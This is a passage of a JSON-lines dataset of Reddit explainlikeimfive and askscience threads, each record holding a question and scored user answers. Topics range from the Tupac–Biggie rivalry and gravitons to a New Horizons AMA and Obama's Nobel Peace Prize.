different life forms.", "In haematology there's Landsteiner Law.\n\nIf an antigen is present on the surface of the red cells, the corresponding antibody must be absent from the plasma.\n\nAND\n\nif the antigen is absent from the surface of the red cell, the corresponding antibody must be present in the plasma.\n\n\nStill holds true for ABO blood group", "Nobody mentionned [Dollo's law of irreversibility](_URL_0_) yet.\n\nIt states that evolution is irreversible, and usually gets a few people all mixed up when discussing convergent evolution and extreme specialisations such as parasitic dwarves and organ atrophication.\n\nJust getting it into the discussion for completeness sake."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.esp.org/foundations/genetics/classical/gm-65.pdf", "http://biology.unm.edu/jhbrown/Miami/Kleiber1932.pdf", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2816229/", "https://en.wikipedia.org/wiki/Category:Biology_theories"], ["https://en.wikipedia.org/wiki/All-or-none_law", "https://en.wikipedia.org/wiki/Mendelian_inheritance#Law_of_Independent_Assortment_.28the_.22Second_Law.22.29"], [], ["https://www.academia.edu/1451880/Mathematical_Models_Explanation_Laws_and_Evolutionary_Biology", "http://www.joelvelasco.net/teaching/130/sober97-lawlessness.pdf", "http://joelvelasco.net/teaching/130/BeattyECT1995.pdf", "https://mechanism.ucsd.edu/teaching/models/levins.modelbuilding.pdf", "http://philsci-archive.pitt.edu/1064/1/Elgin.doc"], [], ["http://www.ncbi.nlm.nih.gov/books/NBK21503/", "http://teaching.pdn.cam.ac.uk/teaching/part1a/intro_to_circuits/how.html", "http://www.physiologyweb.com/lecture_notes/resting_membrane_potential/resting_membrane_potential_nernst_equilibrium_potential.html", "https://depts.washington.edu/wmatkins/kinetics/michaelis-menten.html", "http://www.wiley.com/college/pratt/0471393878/student/review/thermodynamics/7_relationship.html"], [], [], [], [], ["https://en.wikipedia.org/wiki/Dollo%27s_law_of_irreversibility"]]}
{"q_id": "3glq27", "title": "east coast vs. west coast feud", "selftext": "I have been living in US since early 2000's, and I have been hearing about this East vs. West Coast feud since then. As I understand it, it led to killings of several people like Tupac from each side. \n\nWhat I don't understand is that how could a simple geographical difference result in all of this? It's not like there are racial, religious or cultural differences. It's just 2 different groups of people living on each side of the country where it snows more on one side than the other. Or were there other factors? Or was it even not that big of a deal, but the media made it look so? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3glq27/eli5_east_coast_vs_west_coast_feud/", "answers": {"a_id": ["ctz8qwk", "ctza9xc", "ctzgnee"], "score": [2, 42, 6], "text": ["Well there's the [west coast vs east coast cultural differences and superiority debate](_URL_1_), but you're referring to the [hip-hop rivalry](_URL_2_).  some  more [cliffsnotes](_URL_0_) about east vs west coast culture", "Its a bit of a long story involving the rap music industry, fueled by raising gang popularity and the two sub cultures relate to a large degree because they grew with one another:\n\n So American rap in the late 1980s is starting to really develop as a genre of music. Gang culture is also prevalent, mostly Bloods versus Crips, whos rivalry is growing more and more violent. Some places are only Bloods and only Crips. California and New York are **NOT** these places, so theres a power struggle for illegal trades, also these two states show the most potential and ambition for growing hip-hop and rap. This is the scenario throughout a majority of the 1980's and 1990's as the events of music industry unfold. This automatically fuels as east vs west with gang affliction in rap, bloods hate crips, but a west coast blood is no longer the same as a east coast blood, and same with the crips, they are both less united nationally, and focus more locally, block by block. Factions form within the gang, rightfully so.\n\nOn the Music front, 1991, Westcoast is by far the superior rap brand. All their artists grow and labels flock to them. A Eastcoast, Bronx, rapper, Tim Dog, releases a diss track to voice his anger, [\"Fuck Compton\"] (_URL_0_) dissing most major LA rappers and DJs, especially Dr.Dre and Snoop Dogg. Their acquaintance, Tupac is starting to become a nationally recognized rapper by about 1992-93, based out of California, with Suge Knight as a mentor figure and LA behind him. Similiar story, for Christopher Wallace aka Biggie Smalls (B.I.G.) in New York with Sean Combs (Puff Daddy) as his producer, they single handedly bring back the Eastcoast rap scene, bigger then ever by 1994, all rappers on the east and west do now is diss their counter parts on the opposite side. \n\nUp until this point Tupac and Biggie are mutual friends, performing together occasionally, etc... November, 1994, Tupac is shot five times in a attempted robbery on him. He accuses Biggie and Puff as the masterminds (because he was convinced by Suge Knight), citing Biggie's now notorious track [\"Who Shot Ya\"] (_URL_2_) as evidence. Knight later accuses Puffy of masterminding a fatal shooting of his associate in earlier 1995, but that was probably due to Suge Knight's incredible ability to piss off all of the East coast and most of the West. In mid 1995 Suge Knight posted Tupac Shakur's bail of 1.4 million dollars, in exchange he would sign with Knight's record label, Death Row Records, joining the fued against Puffy's label, Bad Boy Records, which Biggie Smalls was a member of. Tupac began releasing diss tracks about killing Biggie and his crew, most notable is [\"Hit em Up\"] (_URL_1_) . September 13, 1996, Tupac Shakur was shot multiple times in a drive-by shooting, after a Mike Tyson fight in Las Vegas, Neveda, by unknown assassins. (Prosposed masterminds: 1. Crips, 2. Suge Knight with off duty police officers) Six months after, March 9, 1997, Biggie is also killed in a drive-by shooting in Los Angeles, California. Suge Knight ended of up in Prison a majority of the rest of his life for unrelated charges, as of today both murders are unsolved, rivalry died here pretty much. Media, fans, and gang assassinations really helped fuel it.\n\nEdit: Tupac was 25, Biggie was 24, just to give you an idea of why it has such an emotional attachment to Americans, these artists had really short careers that saw such huge commercial success in rap, that was never really done before, alot of people feel as though we lost two highly creative, and highly motivated young men who really helped shape the genre most of us enjoy today", " > cultural differences\n\nThere are plenty of cultural differences between the East coast and the West coast."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.quora.com/What-are-the-major-cultural-differences-between-the-east-coast-and-the-west-coast-of-the-US", "http://www.livescience.com/23283-east-vs-west-coast-culture-differences.html", "https://en.wikipedia.org/wiki/East_Coast%E2%80%93West_Coast_hip_hop_rivalry"], ["https://youtu.be/AwzeM2J3Emk", "https://youtu.be/BHG1Im0f7UA", "https://youtu.be/vJC2ax18oQM"], []]}
{"q_id": "2r3box", "title": "should i eat breakfast or \"dinner\" after finishing a night shift?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2r3box/eli5_should_i_eat_breakfast_or_dinner_after/", "answers": {"a_id": ["cnc25h7"], "score": [3], "text": ["I always eat breakfast foods with beer and call it dinner. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "s6lvk", "title": "gorillaz and their virtual band \"history\"", "selftext": "I am very confused by Gorillaz as a musical project. I understand the \"virtual band\" concept, as it's been done by a few other bands (like Dethklok), but apparently they have a really long, complex backstory, starting from their initial album and music videos. Is there a really simple, condensed version of this story, or anywhere that lists the music videos in chronological order?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/s6lvk/eli5_gorillaz_and_their_virtual_band_history/", "answers": {"a_id": ["c4bio1h", "c4bne7b"], "score": [15, 2], "text": ["Huge Gorillaz fan here. I'd rewrite it but since this question is asked a lot by fans, it can be solved by a simple google search.\n\nBackstory before the band 'got together': [here](_URL_0_)\n\nCondensed full storyline before and after: [here](_URL_1_)\n\n", "There are at times small conflicts, but Gorillaz managed to really hold it together with their backstory continuity and whatnot. Considering it all really started from something pretty small. The working in of Del is my favourite though; as Russell's ghost. Basically though, the answer is no, you won't find a completely condensed version that hits every single point of the back story, because it's changed so much over the years. All the basic points are there though.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://fans.gorillaz.com/band/bio.html", "http://gorillaz.wikia.com/wiki/Backstory"], []]}
{"q_id": "1l0qcz", "title": "Could gravitons react to objects in the same manner as photons?", "selftext": "As I understand it, we don't even know if gravitons exist or not. However, if they do, would it be possible to attract them to a certain material (similar to how we're able to charge a mass with electrons), or curve them towards something (like how light bends around gravitational fields)? Or am I even approaching the concept correctly?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1l0qcz/could_gravitons_react_to_objects_in_the_same/", "answers": {"a_id": ["cbuqn7g", "cbur6de"], "score": [7, 3], "text": ["IF gravitons exist, they are excitations of the gravitational field -- quanta of gravitational radiation. Their effects must match the gravity we all know and love.\n\nTheir interaction strength must be the same as gravity's interaction strength. So, super weak on everything except planetary scales and larger. And if you can't interact with something you can't control it much.\n\nWe would be able to manipulate them to the extent we can manipulate gravity -- i.e., not much ... unless we figure out how to drag black holes around.\n\nCharging a mass with gravitons to make it heavier/lighter or easily directing a stream of gravitons to shift the force of gravity is just science fiction I'm afraid.", " > would it be possible to attract them to a certain material (similar to how we're able to charge a mass with electrons)\n\nNo (and sort of yes).  The first thing to say is, having a charged object does not \"attract\" photons to it -- it just means that the object both absorbs and emits photons.  A photon's path (which is wavelike) isn't altered just because you place a charged object nearby.\n\nSimilarly, having a mass does not attract gravitons.  It just means gravitons interact with the mass, and that the mass emits gravitons.\n\nYou could \"charge\" something so that it emits and absorbs gravitons, but since the charge *is* mass, you would need to *add* mass to the system in order to achieve this effect.\n\n > or curve them towards something (like how light bends around gravitational fields)?\n\nAlso, light \"bends\" in a gravitational field because a gravitational field is *curved space*, and *all* things follow the curvature.  The same would be true for gravitons -- they would be disturbances in the curvature, but ultimately would still follow the existing curvature.\n\nHope that helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1bzjbt", "title": "When i blow smoke into my wine glass, why does it seem to 'stick' to the wine?", "selftext": "When i blow cigarette some into the wine glass, it rolls and flows thermodynamically reacting with the atmosphere, etc. But there always seems to be a tendency for the smoke to stick to to the wine in the glass. Often forming a thin film or layer over the liquid. Why is this?\n\nAlso, why does smoke stick to itself? i.e why will it tend to stay together before dispersing? Some kind of bonds?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1bzjbt/when_i_blow_smoke_into_my_wine_glass_why_does_it/", "answers": {"a_id": ["c9bpnv9"], "score": [3], "text": ["From my own experimentation with this (scotch on the rocks) the colder the liquid the stronger this effect. \n\nGas expands (and rises) when its warm. When you exhale the smoke into a glass with liquid in it, the liquid, which typically has a high specific heat capacity (which allows it to absorb more energy), it cools the smoke that is at or above your body temperature. \n\nOnce the smoke cools it no longer has the energy to rise or expand and so it is trapped by the glass.\n\nAs for your second question, gas propogates itself away from itself at a rate determined by the density of the air it's in and the relative temperature of it and its environment. Like everything it gravitates towards its lowest energy state, which is as even a dispersion as its environment allows.\n\nWhen you create a cloud of smoke, all it wants to do is disperse, but only the smoke particles at the surface area of the cloud have the opportunity to disperse out. The interior smoke tends to be trapped by other interior smoke (they bump into each other and reverse direction and generally cant move as much), but as the surface area expands it begins to disperse far more rapidly.\n\nThe only thing I can think of with any kind of bond is the cohesion you get from liquids like in clouds, but I think thats a property of the moisture condensing (becoming liquid again)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fohroy", "title": "Do any animals preserve fire in the wild?", "selftext": "Are there any animals preserve natural fires in order to keep warm or for any other reason? I", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fohroy/do_any_animals_preserve_fire_in_the_wild/", "answers": {"a_id": ["flio5qt"], "score": [15], "text": ["Some australian birds have been reported intentionally spreading fires to flush out prey.  So, basically using fire as a tool.  [_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.dailymail.co.uk/news/article-7843527/The-native-Australian-bird-making-bushfire-crisis-worse-spreading-flames.html"]]}
{"q_id": "f38xmz", "title": "AskScience AMA Series: We're the New Horizons mission team that conducted the farthest spacecraft flyby in history - four billion miles from Earth. Ask us anything!", "selftext": "On New Year's 2019 NASA's New Horizons flew past a small Kuiper Belt object named Arrokoth, four billion miles from Earth, in a vast region home to the icy, rocky remnants of solar system formation. Our team has new results from that flyby, and we're excited to share what we've learned about the origins of planetary building blocks like Arrokoth. We're also happy to address other parts of our epic voyage to the planetary frontier, including our historic flyby of Pluto in July 2015.\n\nTeam members answering your questions include:\n\n+ Alan Stern, New Horizons principal investigator, SwRI\n+ John Spencer, New Horizons deputy project scientist - SwRI\n+ Silvia Protopapa, New Horizons science team member, SwRI\n+ Bill McKinnon, New Horizons co-investigator, Washington University in St. Louis\n+ Anne Verbischer, New Horizons science team member - University of Virginia\n+ Will Grundy, New Horizons co-investigator, Lowell Observatory\n+ Chris Hersman, mission systems engineer, JHUAPL\n\nWe'll sign on at 3pm EST (20 UT). Ask us anything!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f38xmz/askscience_ama_series_were_the_new_horizons/", "answers": {"a_id": ["fhh6um6", "fhh6v69", "fhh6zxs", "fhh88ga", "fhh99tv", "fhhbotv", "fhhe52q", "fhheb7n", "fhhedcs", "fhhekvv", "fhhi286", "fhhk0qp", "fhhkv46", "fhhn7uc", "fhhp1mb", "fhhpf0t", "fhhqhrh", "fhhrwqz", "fhhsujs", "fhht1oo", "fhhta7q", "fhhtgde", "fhhtgyf", "fhhudv0", "fhhv1j3", "fhhv40i", "fhhv7ey", "fhhvbug", "fhhwi56", "fhhx7pb", "fhhxgbz", "fhhxpvz", "fhhy1uw", "fhhy62c", "fhhyqvv", "fhhz1lt", "fhhz1wd", "fhhzitz", "fhhzlzs", "fhi0b26", "fhi0sm6", "fhi0xvr", "fhi1l54", "fhi1x7c", "fhi1zdc", "fhi22uw", "fhi2mwu", "fhi2ou3", "fhi2xj7", "fhi3687", "fhi3yyv", "fhi4xgf", "fhi5di9", "fhi5jzd", "fhi7nel", "fhi7tao", "fhi7vog", "fhi8bjq", "fhi9gzp", "fhi9ifm", "fhibwfr", "fhiegm5", "fhifbnj", "fhigxhw", "fhiiehu", "fhixaef", "fhj0suj", "fhj8g9k", "fhj8orw", "fhjf97d", "fhjzo9a"], "score": [55, 132, 93, 27, 86, 247, 13, 52, 15, 8, 3, 6, 34, 102, 3, 23, 19, 69, 37, 3, 6, 3, 3, 74, 3, 5, 3, 4, 3, 3, 3, 13, 7, 3, 5, 9, 2, 11, 4, 2, 4, 5, 4, 9, 17, 4, 7, 5, 5, 4, 8, 2, 2, 3, 2, 2, 8, 3, 2, 2, 2, 4, 3, 2, 2, 3, 2, 2, 2, 2, 2], "text": ["What can we actually infer about proto planetary formation and the make up of existing terrestrial planets from objects like Arrakoth.\n\nAnd how difficult is it to coordinate encounters with such objects at such a great distance. I imagine the time delays for the signals travel times alone would make a precise encounter very challenging.", "What, if any, difference is there in objects in the Astroid belt, the kuiper belt, and the Oort cloud? Also, are there any plans to send a probe to the Oort cloud?\n\nEdit, thank you in advance.", "Is your mission profile entirely preplanned or do you have to make ad hoc corrections for unexpected perturbations in flight?", "What does your team believe about the possible existance of \"Planet Nine\"? What do you think it's most likely to be?", "Pioneer 10 and 11 have their plaque. Voyager 1 and 2 have their Golden Record. What if anything does New Horizons have that\u2019s like that?", "How far in the distance/future have you plotted the course, such as including other objects gravitational effects, etc?\n\nOr is this insignificant past Pluto on this scale?", "Are there any future missions planned to visit objects further away than Pluto (besides New Horizons itself of course)?", "From your personal perspective, what is the most surprising or unexpected thing you have learned while working on this project?", "Hello! Were investigations of objects beyond Pluto considered in the original plan, or were they more opportunistic add-ons?", "Hi and thanks for joining us today!\n\nIs there any future for nuclear thermal propulsion for probes like the Voyagers and New Horizons?", "Is there any potential to add new stops similar to how Ultima Thule was added once JWST comes online?", "How does communication work at this great a distance? Also, what's the planning process for tasks?", "A friend of mine has doesn't really \"believe\" in deep space travel. We've had conversations about the New Horizons Pluto flyby and he is never able to accept it - because he doesn't understand how it works.\n\nHis main argument is usually that he doesn't believe that a spacecraft could have 'the power' to travel all the way to Pluto (and beyond), and sustain 'the power' to get the data for photos back to earth from billions of miles away.\n\nIn layman's terms, how would you explain this to someone like him?", "This is more of a fun question, but where does your team stand on the Pluto being a planet (instead of just a dwarf planet) debate?", "Are any other flyby targets being considered?", "What data did the new horizons mission actually collect? What do we know now that we didn't know before the completion of the mission?", "How long until New horizons joins the Voyager probes in the interstellar medium?", "Does New Horizons have any more Delta-v left if another opportunistic target arises?\n\nps : Mindblowing achievement. Thank you!!", "What kind of delay time do you have for signals sent at that distance.  How do you verify positive reception of that signal, do you have fixed transmission and reception times and what kind of bandwidth do you have?", "Can NH see KBO occultation between where it currently is and sun? Or stars?", "Do you think it would be possible in the near future to make expeditions to the kuiper belt to harvest resources like ice water or iron? How long would it take to get there with current or near future technology? Finally, if you were to take all of the celestial objects in the kuiper belt and form one planet-like object, how big would it be/how much mass would it have/what would be its main composition and how would it compare to earth in terms of being habitable?", "What\u2019s your favorite part of your job?", "Is there any insulation required for the instrumentation on New Horizons in regards to temperature, not structure?", "I just want to thank you for what you\u2019ve done. I\u2019ve wanted to be an astronomer for as long as I can remember, and the Kuiper belt was always my favorite topic. I could talk about it for hours. When the photos of Pluto came out, I cried. Now, I\u2019m majoring in Astronomy with a plan to write my senior thesis on your data. \nYou\u2019ve done a great thing for science. Thank you so much.", "On your notes you had put \"happy little snowman\" or something to that affect on the side in reference to ultima thule, is it still a snowman even though he ended up being a flat lil pancake? If not was it disappointing that he was not, in fact, the snowman of your dreams?", "Give us your  high/low of the mission! What was the best or most successful moment? What was the most challenging?", "Do you sometimes feel this project was somewhat glory seeking to send to farthest object from earth.\n\nThe reason I thought this was because those random sounds and clips of earth's sounds was so futile. I mean in the future if there are galaxy travelling ships. Wouldn't voyager being the farthest object be like the first life exiting earth was bacteria left on a ship, not a remarkable feat but an annoying how heedless were those guys back then.", "whats the data transfer speed between earth and new horizon?", "Will we ever see other solar systems with this? If so, how far in the future would that be?", "What's the level of spacecraft autonomy accomplished, did it push the state of the art? What's in the future for deep space probes in terms of functional capabilities like intelligent targeting and downlink for example?", "What do yall think is the most important next step  in space exploration and what do we need to do to make it happen?", "How long until we lose signal with New Horizons? Is there more objects it will investigate as it goes further?", "About how far off course is new horizons capable of going with its current amount of fuel?", "Do any of you have a pet project/idea that you know will never happen, either because it's too expensive or outlandish. But would work.", "What's the smallest size of space debris that is tracked? I assume even the smallest chunks could do some nasty damage.", "Congrats on such a huge technical feat.\n\nIf you had to boil down the entire lifespan of the spacecraft what is the most, informative, impactful, or implicative revelation of the missions, from your point of view?", "Why can the world not grasp global warming and how can we help them understand? Have a great day. And respect to you all.", "You said before the flyby of Arrokoth that the cameras may not even be pointed in the right direction because of the uncertainty in it's position. How many 'dud' images were there in the final count and how many were taken overall?", "Is there any info gathered about deep space itself, rather than an object? Say, about density and distribution of dust and particles, radiation, that sort of thing? Any surprises or new information in that area?", "The New Horizons mission revealed Pluto as a beautifully interesting planet with an atmosphere and moons. While this mission was underway and without the benefit of the information to be learned from this mission why would scientists vote to declassify Pluto as a planet? It seems that their vote was premature and uninformed. Pluto is very clearly a planet.", "What advice would you give to someone with an MS in geology debating about going on to pursue a Ph.D. in geology, with a focus on planetary science? Career-wise, the end goal would be NASA research, in some capacity. Is it possible to do research at NASA without a Ph.D. in a relevant subject area?", "Hello and thanks for the AMA! \nBeing before my 30s, I try not to see the doomsday ahead of me and our future darkened and damned by the inevitable decline of humanity. That being said, in hope of receiving the earnest answer from you, bright minds of space and physics, 2 questions. \n\nHow do you feel about our future as species?\nWhat is your opinion on vacuum energy applied to interstellar travel?", "I have participated in many \"your name in space\" programs with NASA throughout the years, have been a space camp crew trainer for the robotics and advanced space academy teams, and currently work in the defense industry (which is very similar to the space industry). How can we leverage the success of projects such as this to inspire future generations to explore the boundaries of current knowledge and what's the best advise we can give on how to end up on a career trajectory such as your own? It seems that the dream ends for many around the high school freshman age.", "Have you learned anything interesting about how Kuiper Belt Objects are formed?", "I've read on Wikipedia that you're currently waiting for data to transmit at 1-2 kbps (small b), and that it will take a total of 20 months.\n\nNow I'm wondering, obviously selecting instruments is primarily about weight, but for missions like yours, does transfer speed play a role as well? That is, do you ever have to decide against instruments with a particularly high data rate because it would just be too much to transfer? How realistic would automatic processing and/or selection of data directly on the probe be?\n\n(Also, was someone cruel enough to torture you with progress bars?)", "will new horizon surpass voyagers lifetime ?", "Is it possible, with the instruments you have on board, to perform tests of the heliosphere once New Horizons becomes distant enough? What do you expect to happen to New Horizons when it reaches that phenomenal distance?", "Hey there - What have been the favorite margins of error that y'all have had to work through? I imagine precision is the name of the game in general, but what's the smallest ever gap y'all have had to shoot? \nPut another way: what's a favorite case of \"if this measurement was .000000000000001% off mark then everything would've exploded?\"\nPut another another way: What was the most nerve-wracking unapologetic problem you've had responsibility to solve that could've sank your boat\n\nEdit - Have a wonderful day", "New Horizons has specifically heightened the interest of a few friends who weren't into astrophysics or space prior, so thank you for giving me more nerd friends! Do you have hope that New Horizons will make it to the Heliosphere and beyond while still collecting and transmitting data? I ask in regard to recent news that the Voyager probes have made it to interstellar space, and discovered a wall of plasma dividing the sun's magnetosphere with interstellar space, with temps upwards of 30,000 Kelvin. It's amazing to hear of our Suns influence on interstellar space and it's overall reach (Voyager took 40 yrs to reach this point, still 400 or so years until the Oort Cloud is reached) and only keeps me wondering what kind of influence our Galaxy has on intergalactic space. \n\nNew Horizons and hopefully future probes like it are the greatest source of providing concrete information to tiny dots in our sky at night, and it only helps fill minds like my own with more wonder about space. Thanks to all of you working on New Horizons for keeping the dream alive with younger generations!", "If you could take what you learned from this mission and modify/redesign new horizons, what would you change? What more modern technology do you wish you had on it (such as more flash storage)?", "New Horizons, thank you for all of your work and achievements. My question is, what sort of materials is Arrokoth made from? And how do they correlate to understanding the creation of our solar system? Thank you in advance, also is there a link where I can see a report of your findings?", "What frame of reference do you use when you calculate the trajectory of the spacecraft? Earth? Sun? Sun-Jupiter? The spacecraft? Pluto?\n\nHow wrong was Galileo?", "What was the original idea and inspiration that led to the creation of the New Horizon misison? What did you guys initially planned to achieve with the mission? Are you happy with what the mission has discovered?", "From the [New Horizons mission page](_URL_0_)\n\n & #x200B;\n\n > \u201cData from the newly-named Arrokoth, has given us clues about the formation of planets and our cosmic origins,\u201d said Buie. \u201cWe believe this ancient body, composed of two distinct lobes that merged into one entity, may harbor answers that contribute to our understanding of the origin of life on Earth.\u201d\n\nHow does the study of Arrokoth tell us about the early universe?\n\n & #x200B;\n\n > Arrokoth is one of the thousands of known small icy worlds in the Kuiper Belt,\n\nWhy did you decide to study this specific object? Was it a matter of convience compared to the location of other objects, or was there something specific that interested your  team?\n\n & #x200B;\n\nThank you for doing this AMA!", "Any chance you\u2019re going to get another KBO flyby?", "Is there any possibility of using New Horizons instruments or telemetry signals to confirm the existence of planet IX (or X, if you prefer)", "I actually have two questions I would like to ask you.\n\n1) How often do you use Machine Learning and Deep Learning algorithms in the spacecraft and  what situation do you use it in? Any specific challenges you faced in implementing them? I\u2019m starting out as a ML engineer and would like to know about all the different ways people all over are using ML and AI in general\n\n2) I have just started reading up about Systems Thinking, there is a book Systemantics by John Gall. For those who don\u2019t know, Systems Thinking deals with Systems as being interconnected in a way so that each action has an effect which leads to another effect and so on until the original is effected. So I was wondering what situation(s) did your team come across where one action had some unforeseen effect and how you dealt with it?? Do you guys think about stuff like to his when planning out your mission??\n\nThanks for taking the time to do this AMA, taking the time out of your schedules for this. It\u2019s fascinating to get a look at how people on such diverse fields think and plan.\n\nSo thanks in advance\n\nPS. Sorry for the long rambling post", "1. Would you say there was any \"technological lag time\" for the New Horizons project specifically and--if that is outside the norm--what would you estimate is the \"technological lag time\" for other major planetary/deep space probe missions?  By \"technological lag time,\" I mean the phenomenon of earth-bound applied technological innovations occurirng in the midst of project development that do not get incorporated into the project due to time/budgetary restrictions.  For example, were there key technologicial advancements that occured in 2004 or 2005 that you \\*wish\\* you had on the actual New Horizons mission, but simply were too far along in the design phase to incorporate them for the early 2006 launch?  \n\n2. Related--although totally out of your control since the New Horizons project launched in January of 2006--if you could \"redo\" the New Horizons mission today, what would you do differently  &  how much additional functionality/data would the mission yield if you were able to use technology circa 2020 rather than technology circa 2001/2002 (which is what I'm presuming you used when in the design phase of the original New Horizon mission).", "Do you ever fail to receive any download data from New Horizons? I assume that if this happens you will request the data to be retransmitted but would this happen after all the rest of the data has been transmitted or somewhere in the middle of the download?", "What would the New Horizons spacecraft be able to find that the upcoming James Webb Space Telescope won\u2019t be able to uncover in the near future?", "What type of instrument do you wish New Horizons had currently for this phase of its mission? \n\nAlso, what traditions does the team have or had?\nThank you and congratulations on the success of the New Horizons!!!!", "Any major roadblocks or failures that occurred during the course of this mission? If so what were those major issues and how did you get around them?", "No question as of now but I have met Dr. Alan Stern. Super cool guy. Thank y'all for the work you do!!", "What is your take on the whole Planet X debate? I would assume if such a thing existed it would have noticeable effects on the orbits of the objects you studied.", "1. What substrates do you use for the electronics onboard?\n2. Is radiation damage greater from the RTG or cosmic radiation at those distances?\n3. If the answer (to 2 ) changes depending on the distance and the time span, at roughly what point is that?\n4. How many of your instruments have failed so far? Whether from damage or insufficient power.", "Are there any Congress members who genuinely showed interest in your project and/or helped steer it through bureaucratic red tape?", "Is the sun hot enough to cook a perfectly nice meatball?", "Is it possible to have a satellite orbit, say Uranus or Jupiter, and then amplify the signal from Horizon to earth?", "What did any of you do in college to increase your chances at getting hired after college? Internships, clubs, etc...", "What timing, I just finished reading your book \"Chasing New Horizons\" today (which I can't recommend enough to anyone reading this post)! My question would be what geological (or other)  mechanisms do you suspect are at play which keep Pluto's surface active yet planetesimals seem to be preserved even though they are both in the same outer region of the solar system? Is size a factor? And would you be surprised to find other planetesimals with young surface features on them?", "Are there long term plans for New Horizons to study the solar system boundary like what the Voyager probes are doing now? What instruments/subsystems are going to be turned off first as the power from the RTG decreases? \n\n(On a side note I actually live down the street from APL and it's really cool to have you guys as neighbors)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.nasa.gov/feature/far-far-away-in-the-sky-new-horizons-kuiper-belt-flyby-object-officially-named-arrokoth"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3hzx5u", "title": "Why do Blue Whales have almost no barnacles, while Humpbacks/Grey and most of the other baleen whales have so many barnacles all over them?", "selftext": "Is there something that blue whales do to keep them off, or is there something about blue whales that makes them unsuitable for barnacle growth?\n\n\nBonus question: don't barnacles add a lot of drag to otherwise streamlined creatures? Does excessive barnacle growth impact the survival of a whale in some way?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3hzx5u/why_do_blue_whales_have_almost_no_barnacles_while/", "answers": {"a_id": ["cuci9pl", "cuco7jj"], "score": [18, 16], "text": ["Humpbacks etc. don't really have all that many more barnacles than blue whales. Are you sure you aren't thinking of right whales? These have features called [callosities](_URL_0_) on which large colonies of barnacles, whale lice, and parasites grow. The callosities themselves are grey, but are turned white by the parasites growing on them.", "While I cannot answer specifically about blue wales, I do know that some whale species do actively seek out areas  (such as river mouths with gravel) suitable for rubbing their skin to clean it; e.g. some orcas do this, as shown in [this video](_URL_0_) (warning: don't click if you are allergic to images of killer whales acting like happy kids getting their backs scratched).\n\nMore info on this behavior can be found if you search for the term \"rubbing beach\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Callosity#Right_whales"], ["https://www.youtube.com/watch?v=TJdjSjOGZuw"]]}
{"q_id": "a6r1d1", "title": "why is this year's youtube rewind so despised?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6r1d1/eli5_why_is_this_years_youtube_rewind_so_despised/", "answers": {"a_id": ["ebx63tt", "ebx6nnl"], "score": [6, 2], "text": ["This feels more like a /r/OutOfTheLoop post, but anyway:\n\nJack, the rich guy in your group of friends, every year invites you all over to a party to showcase your projects to each other.\n\nBut then, in these last years, Jack has been also inviting other rich people to his parties. Jack still showcases your projects, except Mike and Brian though, because they can be immature every once in a while.\n\nThis year, Jack gave the spotlight to his rich friends, instead of focusing on your group. Mike, Brian, Ally, Sophia and Clementine were not invited at all.\n\nYour friends think that this year party was a joke and it's no longer about your group. It's just an excuse for Jack so he can show off his cars to his new friends.\n\n\n(maybe this allegory was unnecessary lol. TL;DR: the community feels disconnected from the latest rewind)", "YouTube is too big.  2018 was a bad year.\n\nYouTube has a lot going on, any list of \"what's cool\" will be very subjective, and YouTube doesn't put the energy into it that the Time \"Person of the Year\" people do.  In either case, you ahve to leave out way more than you include.\n\n2018 was a very divisive year, and the most watched stuff on YouTube is bad, negative, biased, and/or completely false.  Shining a light on that's bad for the YouTube brand, and anything else smells fake.  It was a lose-lose proposition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25feod", "title": "what exactly did obama do to deserve the nobel peace prize?", "selftext": "always puzzled me...continues to do so..\n\nShould have marked this as [serious], c'mon guys!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25feod/eli5_what_exactly_did_obama_do_to_deserve_the/", "answers": {"a_id": ["chgnd3k", "chgps2k", "chgrbdi", "chgsfvu", "chgwpqw", "chh1bbz", "chh3uts", "chh41df", "chh4ifm", "chh9ct4"], "score": [143, 19, 5, 13, 4, 2, 3, 2, 3, 4], "text": [" > There is a lot of confusion as to why a president could win a Nobel Peace Prize into their first year in office. It is especially confusing when there are so many people around the world who are dying for peace, and have arguably made a greater impact.\n\n > **Contrary to popular belief, Obama was *not* awarded the Prize due to him being elected as a black president and people getting \"caught up in the moment\". It had a lot to do with what he *said* and *did* leading up to October 2009. We must look at the Norwegian Nobel Committee's reasons in order to understand why he won.**\n\n > The Norwegian Nobel Committee says that they gave him the prize **\"for his extraordinary efforts to strengthen international diplomacy and cooperation between peoples.\"** What are they referring to here? It takes several months for Nobel Committee Members to write up a report to nominate and select someone for the Prize. Obama gave a very important speech to Egyptians (called \"A New Beginning\") in June 2009 at Cairo University. He was selected in October 2009. So the Cairo speech had a lot to do with what they refer as \"international diplomacy and 